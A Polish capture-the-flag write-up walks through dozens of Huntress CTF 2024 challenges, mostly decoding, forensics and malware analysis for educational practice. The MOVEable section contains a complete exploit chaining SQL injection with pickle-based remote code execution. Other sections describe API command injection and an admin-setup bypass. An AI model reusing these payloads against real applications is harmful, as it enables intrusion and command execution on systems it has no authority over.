Huntress CTF 2024

HTB Sherlock - Heist Writeup

W tym roku Huntress zorganizowało swoje coroczne wydarzenie Capture The Flag w październiku, aby uczcić Miesiąc Świadomości Cyberbezpieczeństwa. Wydarzenie trwało przez cały miesiąc i obejmowało wyzwania z zakresu analizy śledczej, malware, OSINT, zadania ogólne oraz różne zadania rozgrzewkowe. Wziąłem udział w wydarzeniu razem z zespołem No Man’s Root. Jak na pierwszy raz, udało nam się zająć 78. miejsce spośród 3444 drużyn. W tym wpisie przedstawię część rozwiązań, które udało mi się ukończyć – a było ich niemało!

W wydarzeniu było 71 zadań, z czego sam rozwiązałem 46. Dziękuję również wszystkim osobom, które wsparły mnie w trakcie, choć nie wymieniam ich tutaj z imienia. Poniżej przedstawiam statystyki mojej punktacji oraz wynik naszego zespołu. Uważam, że jak na mój pierwszy raz, gdy naprawdę zaangażowałem się w rozwiązywanie CTF-a od początku do końca, poszło mi całkiem nieźle. Duża liczba niezaliczonych zadań widoczna na wykresie wynika z frustracji, która pojawiła się w pewnym momencie. Ewidentnie wciąż brakuje mi biegłości w reverse engineering – mimo posiadania fragmentów flagi, nie mogłem ustalić ich właściwej kolejności (dziękuję za wsparcie, lady_debug!).

Liczba zdobytych punktów oraz zajęte miejsce przez mój zespół
Liczba zdobytych punktów oraz zajęte miejsce przez mój zespół.
Moje statystyki z ukończonych zadań.
Moje statystyki z ukończonych zadań.

TXT Message

Challenge Type: Warmups
Author: @JohnHammond

Hmmm, widziałeś niektóre dziwne rekordy DNS dla domeny ctf.games? Jeden z nich jest naprawdę podejrzany… (ang. Hmmm, have you seen some of the strange DNS records for the ctf.games domain? One of them sure is odd…)

Z opisu zadania dowiadujemy się, że w DNS jest dodatkowy, nietypowy wpis. Zwykle, gdy chcemy dodać niestandardową wartość do naszych rekordów DNS, używamy rekordu TXT. Dlatego pierwszym poleceniem, które wykonałem, było dig -t txt +short ctf.games. W odpowiedzi otrzymałem następujący wpis: 146 154 141 147 173 061 064 145 060 067 062 146 067 060 065 144 064 065 070 070 062 064 060 061 144 061 064 061 143 065 066 062 146 144 143 060 142 175. Wygląda to na zakodowany tekst zawierający flagę. Bez dłuższego zastanowienia skorzystałem z ChatGPT, który szybko podał mi odpowiedź:

TXT Message.
TXT Message.

MatryoshkaQR

Challenge Type: Warmups
Author: @JohnHammond

Wow! To jest ogromny kod QR! Ciekawe, co mówi… (ang. Wow! This is a big QR code! I wonder what it says…?)

Do zadania dołączono plik PNG, który zawierał kod QR, przedstawiony poniżej:

Kod QR dostarczony do zadania.
Kod QR dostarczony do zadania.

Po zeskanowaniu kodu QR otrzymaliśmy dane, które na początku zawierały frazę “PNG”. Domyśliłem się, że jest to kolejny obrazek zakodowany w formacie hex. Za pomocą poniższego skryptu zapisałem te dane do nowego pliku PNG:

encoded_string = (
    "\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00'\\x00\\x00\\x00'"
    "\\x01\\x00\\x00\\x00\\x00\\xa4\\xd8l\\x98\\x00\\x00\\x00\\xf5IDATx\\x9c\\x01\\xea"
    "\\x00\\x15\\xff\\x01\\xff\\x00\\x00\\x00\\xff\\x00\\x80\\xa2\\xd9\\x1a\\x02\\x00"
    "\\xbe\\xe6T~\\xfa\\x04\\xe4\\xff\\x0fh\\x90\\x02\\x00\\x1a\\x7f\\xdc\\x00\\x02"
    "\\x00\\xde\\x01H\\x00\\x00\\xbe\\xd5\\x95J\\xfa\\x04\\xc2*\\x15`\\x08\\x00\\xff"
    "\\x9d.\\x9f\\xfe\\x04\\xfd#P\\xc3\\x0b\\x02\\x97\\x0e:\\x07d\\x04/vIg\\x19\\x00"
    "\\xbb\\xcd\\xf3-\\xd2\\x02\\xfb\\xd6d\\xb5\\x88\\x02E\\xc7^\\xdf\\xfc\\x00\\x84"
    "\\xfb\\x13\\xf3J\\x02\\xfd\\x88a\\xefD\\x00\\xc8t$\\x90\\n\\x01\\xc7\\x01\\xee1"
    "\\xf7\\x043Q\\x17\\x0cH\\x01\\xa5\\x03\\x1c6d\\x02\\r\\xf0\\xbfV$\\x00\\xcf\\x13"
    "d3\\x06\\x01\\xee\\x08J\\xf5E\\x00\\x9b\\xee\\n\\xac\\xfa\\x01\\xea|\\xf2\\xe86"
    "\\x04\\xb3\\xc9\\x84\\xf7\\xb4\\x02\\t\\x90U%\\x14\\x00\\xbf g\\xa5\\xee\\x02"
    "\\xfbH\\xf1#4\\x00\\xff\\xa1!;\\x86\\x02\\x81VB\\xdf\\xfc\\x04>\\xb1s\\x00\\x10"
    "\\x02\\xe4>\\xab-p\\x00\\xa2\\xc6\\xfe\\xf6\\xee\\x04\\x00\\x05\\xcbl5\\x02\\x1c"
    "\\xfc\\x85;\\xd0\\x02\\xc2\\xfb\\xe6A\\x00\\x01\\xff\\x00\\x00\\x00\\xff\\xf9"
    "\\xdb_g\\xf4\\x9a\\xddH\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82"
)

def decode_and_save(encoded_str, output_filename):
    byte_data = bytes(encoded_str, "utf-8").decode('unicode_escape').encode('latin1')
    
    with open(output_filename, 'wb') as file:
        file.write(byte_data)

output_file = "output.png"
decode_and_save(encoded_string, output_file)

Po wykonaniu kodu otrzymałem następny kod QR:

Otrzymany QR kod.
Otrzymany QR kod.

Po jego zeskanowaniu otrzymałem flagę: flag{01c6e24c48f48856ee3adcca00f86e9b}

Base64by32

Challenge Type: Scripting
Author: @JohnHammond

To jest głupie zadanie. Przepraszam. (ang. This is a dumb challenge. I’m sorry.)

Do zadania dołączono plik base64by32.zip, z którego po rozpakowaniu otrzymaliśmy plik tekstowy zakodowany w base64. Za pomocą CyberChef dodawałem kolejne operacje dekodowania base64, aż uzyskałem flagę (prawdopodobnie aż 32 razy!).

Zdekodowana flaga.
Zdekodowana flaga.

Obfuscation Station

Challenge Type: Forensics
Author: @resume

Dotarłeś do Stacji Zaciemniania! Czy potrafisz zdekodować ten skrypt PowerShell, aby znaleźć flagę? (ang. You’ve reached the Obfuscation Station! Can you decode this PowerShell to find the flag?)

Do zadania dołączono plik Challenge.zip, który po rozpakowaniu zawierał skrypt PowerShell o nazwie chal.ps1. Zawartość skryptu:

(nEW-objECt  SYstem.iO.COMPreSsIon.deFlaTEStREAm( [IO.mEmORYstreAM][coNVERt]::FROMBAse64sTRING( 'UzF19/UJV7BVUErLSUyvNk5NMTM3TU0zMDYxNjSxNDcyNjexTDY2SUu0NDRITDWpVQIA') ,[io.COmPREssioN.coMpreSSioNmODE]::DeCoMpReSS)| %{ nEW-objECt  sYStEm.Io.StREAMrEADeR($_,[TeXT.encodiNG]::AsCii)} |%{ $_.READTOENd()})| & ( $eNV:cOmSPEc[4,15,25]-JOin'')

Napierw za pomocą Cyberchef poprawiłem czytelność skryptu, zamieniając duże litery na małe:

Znormalizowany skrypt.
Znormalizowany skrypt.

Następnie, używając skryptu do odwrócenia procesu, zdekodowałem flagę (zajęło mi to chwilę, zanim zauważyłem, że kopiowałem niepoprawnie dane Base64 – kopiowałem wyłącznie małe litery zamiast zachować oryginalny format ze skryptu).:

import base64
import zlib

encoded_data = 'uzf19/ujv7bvuerlsuyvnk5nmtm3tu0zmdyxnjsxndcynjextdy2suu0ndritdwpvqia'
decoded_data = base64.b64decode(encoded_data)
decompressed_data = zlib.decompress(decoded_data, -15)
print(decompressed_data.decode('ascii'))

Zdekodowana flag: b'$5GMLW = "flag{3ed675ef0343149723749c34fa910ae4}"'

Hidden Streams

Challenge Type: Forensics
Author: Adam Rice (@adam.huntress)

Pod powierzchnią tajemnice płyną, Cichy nurt skrywa szeptów tkaną. Niewidzialne prądy, senne marzenia, Niosą historie ukryte w strumieniach. Czy odnajdziesz sekrety w tych logach Sysmon? (ang. Beneath the surface, secrets glide, A gentle flow where whispers hide. Unseen currents, silent dreams, Carrying tales in hidden streams. Can you find the secrets in these Sysmon logs?)

Do rozwiązania zadania wykorzystałem swoje ulubione narzędzie do przeszukiwania zdarzeń systemu Windows, Chainsaw. Przy użyciu polecenia chainsaw search 'powershell' -i Sysmon.evtx wylistowałem wszystkie zdarzenia związane z PowerShell. Wśród nich znalazłem zdarzenie, które zawierało dodatkową zawartość zakodowaną w formacie Base64:

Wykryte zdarzenie zawierające dodatkową zakodowaną wiadomość w base64.
Wykryte zdarzenie zawierające dodatkową zakodowaną wiadomość w base64

Zdekodowana flaga: `flag{bfefb891183032f44fa93d0c7bd40da9}

Echo Chamber

Challenge Type: Scripting
Author: @JohnHammond#6971

Czy ktoś tam jest? Czy ktoś tam jest? Wysyłam sobie flagę! Wysyłam sobie flagę! (ang. Is anyone there? Is anyone there? I’m sending myself the flag! I’m sending myself the flag!)

Aby rozwiązać zadanie, otrzymaliśmy plik pcap zawierający wyłącznie pakiety ICMP. W danych pakietu zauważyłem przesyłane informacje. Wyfiltrowałem jedynie żądania (request), zapisałem wynik w formacie CSV, a następnie wkleiłem do CyberChef, aby je zdekodować. Przeglądając zawartość danych, dostrzegłem, że każdy znak był zduplikowany około 40 razy. Po usunięciu duplikatów otrzymałem flagę.

Znormalizowany skrypt.
Zawartość pliku pcap
Znormalizowany skrypt.
Zdekodowane pakiety i zdupliowane wartości flagi.

Zdekodowana flaga: flag{6b388a9117a7554d88bf384d7c73fd6e}

Keyboard Junkie

Challenge Type: Forensics
Author: @JohnHammond

Mój przyjaciel nie przestawał mówić o swojej nowej klawiaturze, więc… (ang. My friend wouldn’t shut up about his new keyboard, so…)

Do rozwiązania zadania ponownie otrzymaliśmy plik pcap, tym razem zawierający przechwyconą komunikację z klawiatury USB. Po kilku wyszukiwaniach w Google znalazłem skrypt, za pomocą którego rozwiązałem zadanie.

tshark -r ./keyboard_junkie -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > usbData

Zdobyta flaga..
Zdobyta flaga.

Zimmer Down

Challenge Type: Forensics
Author: @sudo_Rem

Użytkownik wchodził w interakcję z podejrzanym plikiem na jednym z naszych hostów. Jedyne, co udało nam się zdobyć, to rejestr użytkownika. Czy ukrywa on jakieś sekrety? (ang. A user interacted with a suspicious file on one of our hosts. The only thing we managed to grab was the user’s registry hive. Are they hiding any secrets?)

Do rozwiązania zadania otrzymaliśmy plik NTUSER.DAT. Korzystając z Registry Explorer i słowa kluczowego flag, przeszukałem rejestr, jednak autorzy zadania nieco utrudnili zadanie, dodając wiele wpisów typu „not the flag”. Przeszukując okolice znalezionych wyników, natknąłem się na wpis o nazwie b62, w którym znajdowała się zakodowana zawartość. Po jej rozkodowaniu odnalazłem flagę.

Flaga zakodowana w formacie base62 w rejestrze.
Flaga zakodowana w formacie base62 w rejestrze.
Zdekodowana flaga.
Zdekodowana flaga.

X-RAY

Challenge Type: Malware
Author: @JohnHammond

SOC wykrył złośliwe oprogramowanie na hoście, ale program antywirusowy już je poddał kwarantannie… czy nadal możesz zrozumieć, co ono robi? (ang. The SOC detected malware on a host, but antivirus already quarantined it… can you still make sense of what it does?)

W treści zadania znajduje się wskazówka mówiąca, że plik został poddany kwarantannie. Założyłem, że prawdopodobnie użyto Windows Defendera. W pierwszej kolejności znalazłem skrypt, który pozwolił mi odzyskać plik. Po jego przywróceniu okazało się, że jest to plik wykonywalny stworzony w .NET.

Zdekodowany plik z kwarantandy Windows Defendera.
Zdekodowany plik z kwarantandy Windows Defendera.

Następnie zdekompilowałem program za pomocą dotPeek. W głównej części znalazłem dwie zakodowane wartości oraz operację służącą do ich dekodowania. Skopiowałem kod i za pomocą ChatGPT przerobiłem go na Python. Po uruchomieniu przerobionego skryptu uzyskałem flagę.

Kod zawierający zakodowaną flagę.
Kod zawierający zakodowaną flagę.

import sys
import codecs

def load(hex_string):
    length = len(hex_string)
    num_array = bytearray(length // 2)
    for start_index in range(0, length, 2):
        num_array[start_index // 2] = int(hex_string[start_index:start_index + 2], 16)
    return num_array

def otp(data1, data2):
    return bytearray(a ^ b for a, b in zip(data1, data2))

data1 = load("15b279d8c0fdbd7d4a8eea255876a0fd189f4fafd4f4124dafae47cb20a447308e3f77995d3c")
data2 = load("73de18bfbb99db4f7cbed3156d40959e7aac7d96b29071759c9b70fb18947000be5d41ab6c41")
result = otp(data1, data2)
print(codecs.decode(result, 'utf-8'))

Zdobyta flag: flag{df26090565cb329fdc8357080700b621}

Strange Calc

Challenge Type: Malware
Author: @JohnHammond

Dostałem nową aplikację kalkulatora od mojego znajomego! Ale jest naprawdę dziwna, z jakiegoś powodu potrzebuje uprawnień administratora do uruchomienia?? (ang. I got this new calculator app from my friend! But it’s really weird, for some reason it needs admin permissions to run??)

Na początku, jak przy każdej analizowanej próbce, sprawdziłem podstawowe informacje o pliku exe za pomocą PeStudio. Zauważyłem, że plik jest spakowany za pomocą UPX i przygotowany przy użyciu skryptów automatyzacji AutoIt.

Analiza pliku exe.
Analiza pliku exe.

Po rozpakowaniu pliku otrzymałem skrypt .au, który zawierał kodowanie base64.

Zawartość pliku exe po odpakowaniu.
Zawartość pliku exe po odpakowaniu.

Zdekodowana zawartość base64 zawierała plik .jse. Po deobfuskacji przy użyciu CyberChef uzyskałem kod JavaScript, jednak z niewiadomych powodów skrypt nie chciał wyświetlić swojej rzeczywistej zawartości. Dopiero ChatGPT szybko ją zdekodował.

Zawartość base64 po zdekodowaniu.
Zawartość base64 po zdekodowaniu.
Zdekodowana flaga.
Zdekodowana flaga.

Sekiro

Challenge Type: Miscellaneous
Author: @HuskyHacks

お前はもう死んでいる

Nasz przeciwnik.
Nasz przeciwnik.

W zadaniu celem jest jak najszybsze pokonanie przeciwnika. Metodą prób i błędów, analizując jego zachowanie, udało mi się stworzyć skrypt, który umożliwił jego pokonanie.

import pexpect


process = pexpect.spawn(f'nc challenge.ctf.games 32166')

try:
    while True:
        process.expect(r'Opponent move: (block|strike|advance|retreat)\r?\n')
        print(process.before.decode('utf-8').strip())
        opponent_move = process.match.group(1).decode('utf-8').strip()
        print(f"Opponent move: `{opponent_move}`")
        process.expect('Your move:')

        if 'block' in opponent_move:
            move = 'advance'

        elif 'strike' in opponent_move:
            move = 'block' 

        elif  'advance' in opponent_move:
            move = 'retreat'

        elif 'retreat' in opponent_move:
            move = 'strike'
        
        process.sendline(move)
        print(f"Your move: {move}")

except pexpect.EOF:
    print(process.before.decode('utf-8').strip())

Zdobyta flaga.
Zdobyta flaga.

Russian Roulette

Challenge Type: Malware
Author: @JohnHammond

Mój PowerShell zachowuje się naprawdę dziwnie!! Uruchamia się kilka sekund, a czasem po prostu zawiesza mi komputer!?!?! :(

OSTRZEŻENIE: Przeanalizuj to zadanie wewnątrz maszyny wirtualnej dla własnego bezpieczeństwa. Istnieje realne ryzyko, że Twoja maszyna wirtualna może się zawiesić po uruchomieniu.

(ang. My PowerShell has been acting really weird!! It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! :( WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation there is a real possibility that your VM may crash.)

Do rozwiązania zadania otrzymaliśmy plik skrótu w systemie Windows (.lnk), który pobiera z internetu złośliwe oprogramowanie. Po jego pobraniu znaleźliśmy mocno zaciemniony skrypt PowerShell. Manualna analiza zajęłaby bardzo dużo czasu, więc postanowiłem skorzystać z portalu Any.Run. Po uruchomieniu pliku i prześledzeniu wywołań PowerShell znalazłem wartość zakodowaną w base64.

Zdobyta flaga.
Zakodowany payload w base64.
Następnie, za pomocą CyberChef, zdekodowałem zawartość i odkryłem, że zawiera ona kolejną warstwę – tym razem zaszyfrowaną przy użyciu AES.
Zdobyta flaga.
Zdekodowan payload w base64.
Po odszyfrowaniu warstwy AES uzyskałem flagę.
Zdobyta flaga.
Zdeszyfrowana flaga.

The Void

Challenge Type: Warmups Author: @JohnHammond#6971

Kiedy patrzysz długo w otchłań, otchłań patrzy również na ciebie… (ang. When you gaze long into the void, the void gazes also into you…)

Po połączeniu z zadaniem pojawił się czarny ekran, ciemniejszy niż zwykle w konsoli.

Pierwsza próba połączenia z usługą.
Pierwsza próba połączenia z usługą.

Zdecydowałem się przekierować cały input do pliku. Otwierając plik w edytorze vi, zauważyłem znaki przypominające kody kolorów używane w konsoli bash. nc challenge.ctf.games 30124 > aaa

Zawartość pliku.
Zawartość pliku.

Za pomocą polecenia sed usunąłem wszystkie znaki odpowiedzialne za kolorowanie, co pozwoliło mi uzyskać flagę. cat aaa| sed -r "s/\x1B\[([0-9]{1,3}(;[0-9]{1,2};?)?)?[mGK]//g"

Zdobyta flaga.
Zdobyta flaga.

Malibu

Challenge Type: Miscellaneous
Author: Truman Kain

Co zabierasz na plażę?

UWAGA: Dwie rzeczy, o których warto pamiętać przy tym zadaniu: Uruchomienie usługi zajmuje trochę więcej czasu. Jeśli pojawi się komunikat “Connection refused”, poczekaj chwilę dłużej. Usługa nie odpowie ani nie wyświetli żadnych wskazówek od razu… czeka na twój wkład. Jeśli po prostu naciśniesz Enter, zobaczysz, co to jest. Dodatkowa wskazówka: gdy już poznasz, czym jest ta usługa, spróbuj połączyć się w lepszy sposób. Następnie użyj kontekstu i logicznego myślenia na podstawie jej odpowiedzi i opisu zadania. Żadne brutalne wymuszanie nie będzie potrzebne, kiedy zrozumiesz infrastrukturę i dokonasz enumeracji. ;)

(ang. What do you bring to the beach?

NOTE: There are two things to note for this challenge. This service takes a bit more time to start. If you see a Connection refused, please wait a bit more. This service will not immediately respond or prompt you… it is waiting for your input. If you just hit Enter, you will see what it is. Extra tip, once you know what the service is, try connecting in a better way. Then use some of the context clues and critical thinking based off its response and the challenge description. You don’t need any bruteforcing once you understand the infrastructure and enumerate. ;))

Na początku zadania otrzymujemy polecenie nc challenge.ctf.games 31426. Po jego wykonaniu zauważam, że usługa komunikuje się za pomocą protokołu HTTP.

Rozpoznanie protokołu.
Rozpoznanie protokołu.
Z przyzwyczajenia od razu skorzystałem z Burpa, aby dowiedzieć się więcej o działaniu usługi. Szybko zauważyłem nagłówek “Server”, który dostarczył mi informacji o typie usługi.
Rozpoznanie usługi.
Rozpoznanie usługi.
Po szybkim wyszukaniu w Google dowiedziałem się, że jest to usługa obsługi bucketów dostępna na systemy Linux. Po pobraniu odpowiedniego klienta ze strony rozpocząłem konfigurację usługi. Na tym etapie kluczowe było odnalezienie nazwy bucketu, ponieważ opcja listowania wszystkich była zablokowana. Pomocny okazał się opis zadania, który zasugerował, że może to być “ctf” lub “bucket”. Gdy znalazłem prawidłowy bucket, wylistowałem jego zawartość. Okazało się, że znajduje się tam bardzo dużo plików, więc zdecydowałem się skopiować całą zawartość bucketu lokalnie.
Zawartość bucketu.
Zawartość bucketu.
Następnie, jak zwykle, pierwszym poleceniem było grep -r flag, które od razu doprowadziło mnie do rozwiązania.
Zdobyta flaga.
Zdobyta flaga.

Plantopia

Challenge Type: Web
Author: @HuskyHacks

Plantopia to nasza nowa, nowoczesna strona do zarządzania pielęgnacją roślin! Stworzona zarówno dla hobbystów, jak i profesjonalistów, oferuje wszystko, czego potrzebujesz do kompleksowego zarządzania opieką nad roślinami.
Prosimy o przeprowadzenie testu penetracyjnego przed uruchomieniem witryny i poinformowanie nas o wszelkich znalezionych problemach.
Nazwa użytkownika: testuser
Hasło: testpassword

(ang.
Plantopia is our brand new, cutting edge plant care management website! Built for hobbiests and professionals alike, it’s your one stop shop for all plant care management.
Please perform a penetration test ahead of our site launch and let us know if you find anything.
Username: testuser
Password: testpassword
)

Po uruchomieniu aplikacji pojawia się panel logowania. Na początku próbowałem zalogować się danymi podanymi w zadaniu, jednak nie działały one poprawnie. Zacząłem więc klikać dostępne linki.

Strona główna aplikacji.
Strona główna aplikacji.
Okazało się, że aplikacja nie weryfikuje dostępu, a dokumentacja API jest dostępna przez Swaggera. Sprawdzając dostępne endpointy, zauważyłem, że wymagają one tokenu autoryzacyjnego. Na samej górze znalazłem przycisk „Authorize”, który po naciśnięciu wyświetlił informacje na temat budowy tokenu. Ku mojemu zaskoczeniu, token nie wymagał loginu i hasła, jak zazwyczaj przy tego typu konfiguracjach.
Dostęp do dokumentacji Swagger oraz instrukcje tworzenia nagłówka autoryzacyjnego.
Dostęp do dokumentacji Swagger oraz instrukcje tworzenia nagłówka autoryzacyjnego.
Wygenerowałem timestamp z datą w przyszłości i zakodowałem go w base64. Okazało się, że token działa poprawnie, dając mi dostęp do API.
Przygotowany token.
Przygotowany token.
Następnie przetestowałem żądanie ustawiające polecenie dotyczące wysyłania wiadomości e-mail, które miało prostą walidację. Po pomyślnym ustawieniu polecenia musiałem wysłać żądanie odpowiedzialne za jego wykonanie.
Omijanie weryfikacji i ustawienie nowego polecenia do wczytywania flagi.
Omijanie weryfikacji i ustawienie nowego polecenia do wczytywania flagi.
Ponieważ było to zamknięte środowisko i nie mogłem skorzystać z funkcji Burp Collaboratora, musiałem znaleźć inny sposób na uzyskanie odpowiedzi.
Żądanie inicjujące wysyłanie maili.
Żądanie inicjujące wysyłanie maili.
Pomocny okazał się endpoint zwracający logi aplikacji. Po kilku próbach udało mi się uzyskać poszukiwaną flagę.
Zdobyta flaga.
Zdobyta flaga.

HelpfulDesk

Challenge Type: Web
Author: @HuskyHacks

HelpfulDesk to idealne rozwiązanie dla małych i średnich firm potrzebujących zdalnego monitorowania i zarządzania. Wczoraj wieczorem HelpfulDesk wydał biuletyn bezpieczeństwa, w którym pilnie zaleca aktualizację do najnowszego poziomu poprawek. Szczegóły były skąpe, ale to raczej nie wróży nic dobrego…
(ang. HelpfulDesk is the go-to solution for small and medium businesses who need remote monitoring and management. Last night, HelpfulDesk released a security bulletin urging everyone to patch to the latest patch level. They were scarce on the details, but I bet that can’t be good…)

Po odwiedzeniu aplikacji i sprawdzeniu biuletynu zauważyłem, że dostępna jest nowa wersja aplikacji (1.2), podczas gdy uruchomiona wersja to 1.1.

Biuletyn bezpieczeństwa oraz wykryta wersja używanego oprogramowania.
Biuletyn bezpieczeństwa oraz wykryta wersja używanego oprogramowania.
Pobieram plik i najpierw za pomocą prostego polecenia diff próbuję zidentyfikować zmienione pliki. Szybko okazało się, że jedyna istotna zmiana zaszła w pliku HelpfulDesk.dll. Następnie, za pomocą polecenia file, sprawdziłem, czym dokładnie jest ten plik. Okazało się, że jest to biblioteka napisana w .NET.
Wykryte różnice w plikach.
Wykryte różnice w plikach
Użyłem ponownie DotPeek, ale tym razem zdekodowane biblioteki zapisałem w osobnych folderach. Następnie, korzystając z WinMerge, porównałem zmiany między wersjami. W pliku SetupController.cs, odpowiedzialnym za konfigurację oprogramowania, w nowszej wersji usunięto wyrażenie Trim('/').
Porównanie różnic po dekompilacji.
Porównanie różnic po dekompilacji.
Postanowiłem więc odwiedzić sugerowaną przez kod ścieżkę. Po wejściu na /Setup/SetupWizard/ moim oczom ukazał się panel instalacyjny aplikacji, umożliwiający ustawienie hasła administratora.
Wykorzystanie podatności i ustawienie nowego hasła administratora.
Wykorzystanie podatności i ustawienie nowego hasła administratora.
Po ustawieniu własnego hasła, np. admin:admin, poprawnie zalogowałem się do aplikacji i pobrałem flagę.
Lista plików administratora w katalogu Desktop.
Lista plików administratora w katalogu Desktop.

Zdobyta flaga: flag{03a6f458b7483e93c37bd94b6dda462b}

MOVEable

Challenge Type: Web
Author: @JohnHammond#6971

Chciałeś kiedyś przenosić swoje pliki? Wiesz, jak za pomocą eleganckiego interfejsu webowego, zamiast tylko FTP czy czegoś podobnego?
Teraz możesz, dzięki naszej super bezpiecznej aplikacji MOVEable!
Podnieś swoje uprawnienia i znajdź flagę.

(ang. Ever wanted to move your files? You know, like with a fancy web based GUI instead of just FTP or something? Well now you can, with our super secure app, MOVEable! Escalate your privileges and find the flag. )

Muszę przyznać, że to zadanie zajęło mi chyba najwięcej czasu, a exploit jest zdecydowanie najbardziej skomplikowany. Do rozwiązania otrzymaliśmy kod aplikacji, co pozwoliło na przygotowanie exploitu, a następnie jego uruchomienie w środowisku CTF. Pierwszą podatność odkryłem w procesie logowania – pozwalała na wykonywanie tzw. stacked queries, co umożliwiało dodawanie dowolnych wartości do tabel w bazie danych. Kiedy myślałem, że mam już wszystko, okazało się, że w kodzie jest błąd i funkcjonalność pobierania plików nie działa.

SQL Injection w procesie logowania.
SQL Injection w procesie logowania.
Po dokładniejszym przyjrzeniu się funkcji odpowiedzialnej za pobieranie plików zauważyłem, że korzysta ona z pickle – znanej biblioteki, która pozwala na zdalne wykonanie kodu. Kiedy wiedziałem już, jak umieszczać dane w bazie i uruchamiać kod, brakowało mi jednej kluczowej rzeczy: odpowiedzi serwera.
Miejsce wykorzystania podatnej biblioteki pickle.
Miejsce wykorzystania podatnej biblioteki pickle.
Aplikacja w przypadku błędu zwracała jedynie kod 500 bez dodatkowych informacji. Rozwiązaniem okazała się komunikacja za pomocą ciasteczek sesyjnych. Udało się dopisać dowolną wartość do ciasteczka z poziomu kodu. Minusem tego rozwiązania było to, że wartość dopisana do ciasteczka miała ograniczenia dotyczące znaków (dlaczego, nie wiem), ale ograczniczając liczbę znaków byłem wstanie odebrać całą komunikacje.
Wynik polecenia otrzymany w ciasteczku sesyjnym.
Wynik polecenia otrzymany w ciasteczku sesyjnym.
W kolejnym kroku przygotowałem exploit. Gdy sądziłem, że wszystko jest gotowe i wystarczy jedynie zapytać bazę danych o flagę, okazało się, że jej tam nie ma. Ponownie wróciłem do opisu zadania, w którym wyraźnie zaznaczono, aby podnieść swoje uprawnienia. To wskazywało, że flaga musi znajdować się w systemie plików, prawdopodobnie w katalogu /root.
Wynik polecenia sudo -l.
Wynik polecenia sudo -l.
Najprostszym sposobem na podniesienie uprawnień było użycie polecenia sudo. Polecenie sudo -l pokazało, do czego użytkownik ma dostęp. Ku mojemu zadowoleniu, zobaczyłem wpis NOPASSWD=ALL, co oznaczało możliwość użycia sudo bez hasła – częsty błąd konfiguracyjny. W ostatnim kroku wystarczyło wykonać sudo cat /root/flag.txt, aby uzyskać flagę.
Zdobyta flaga.
Zdobyta flaga.

import requests
import pickle
import base64
import json
from itsdangerous import base64_decode
import random
import string

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
}

HOST = 'http://challenge.ctf.games:32154'
CMD = '''sudo cat /root/flag.txt'''

class RCE:
    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        return eval, (self.cmd,)


def init_session():
    print('init session')
    data = 'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2factivesessions%2f**%2f(sessionid%2c%2f**%2ftimestamp)%2f**%2fVALUES%2f**%2f(%5cf3c3b700-4339-45fc-bb32-45105d62a884%5c%2c%5c1729679958%5c)--&password=aa'

    response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
    if response.status_code != 302:
        print('error')
        print(response.text)
        exit(-1)


def get_flag_length():
    print('Get data lenght')
    filename = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
    pickled = pickle.dumps(RCE('''session.update({'flag3': len(base64.urlsafe_b64encode(os.popen("'''+ CMD + '''").read().encode()))})'''))
    payload = base64.urlsafe_b64encode(pickled).decode()
    print(payload)
    data = f'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2ffiles%2f**%2f(filename%2c%2f**%2fdata%2c%2f**%2fsessionid)%2f**%2fVALUES%2f**%2f(%5c{filename}%5c%2c%5c{payload}%5c%2c%5c1729679958%5c)--&password=aa'
    print(data)
    response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
    if response.status_code != 302:
        print('error')
        print(response.text)
        exit(-1)

    response = requests.get(f'{HOST}/download/{filename}/f3c3b700-4339-45fc-bb32-45105d62a884', headers=headers, verify=False, allow_redirects=False)
    length = json.loads(base64_decode(response.cookies['session'].split('.')[0]))['flag3']
    print(length)
    return length




def get_flag(start, end):
    print('Get data')
    filename = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
    pickled = pickle.dumps(RCE('''session.update({'flag3': base64.urlsafe_b64encode(os.popen("'''+ CMD + '''").read().encode()).decode()[''' + str(start) + ''':'''+ str(end)+''']})'''))
    payload = base64.urlsafe_b64encode(pickled).decode()
    data = f'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2ffiles%2f**%2f(filename%2c%2f**%2fdata%2c%2f**%2fsessionid)%2f**%2fVALUES%2f**%2f(%5c{filename}-{start}-{end}%5c%2c%5c{payload}%5c%2c%5c1729679958%5c)--&password=aa'

    response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
    if response.status_code != 302:
        print('error')
        print(response.text)
        exit(-1)

    response = requests.get(f'{HOST}/download/{filename}-{start}-{end}/f3c3b700-4339-45fc-bb32-45105d62a884', headers=headers, verify=False, allow_redirects=False)
    part = json.loads(base64_decode(response.cookies['session'].split('.')[0]))['flag3']
    print(part)
    return part



init_session()
lenght = get_flag_length()

content = ""
for i in range(0, lenght, 10):
    if i + 10 < lenght:
        e = i + 10
    else:
        e = i + (lenght - i)
    print(i, e)
    try:
        content += get_flag(i, e)
    except:
        pass
    print(content)

print(base64_decode(content))

Backdoored Splunk II

Challenge Type: Forensics
Author: Adam Rice (@adam.huntress)

Pewnie widziałeś, jak Splunk jest używany do dobrych celów, ale czy widziałeś, jak jest używany do złych? UWAGA: Głównym elementem tego zadania jest plik dostępny do pobrania poniżej. Korzysta on z dynamicznie uruchamianej usługi, ale musisz połączyć elementy układanki, aby odzyskać flagę.

(ang. You’ve probably seen Splunk being used for good, but have you seen it used for evil? NOTE: the focus of this challenge should be on the downloadable file below. It uses the dynamic service that is started, but you must put the puzzle pieces together to be retrieve the flag. )

Autor dołączył do zadania plik zip zawierający paczkę Splunk_TA_windows. Po krótkich poszukiwaniach udało mi się znaleźć oryginalne pliki dostępne do pobrania na tej stronie. Po wykonaniu polecenia diff znalazłem różnice w plikach. Najciekawsza z nich zawierała zaciemniony skrypt PowerShell.

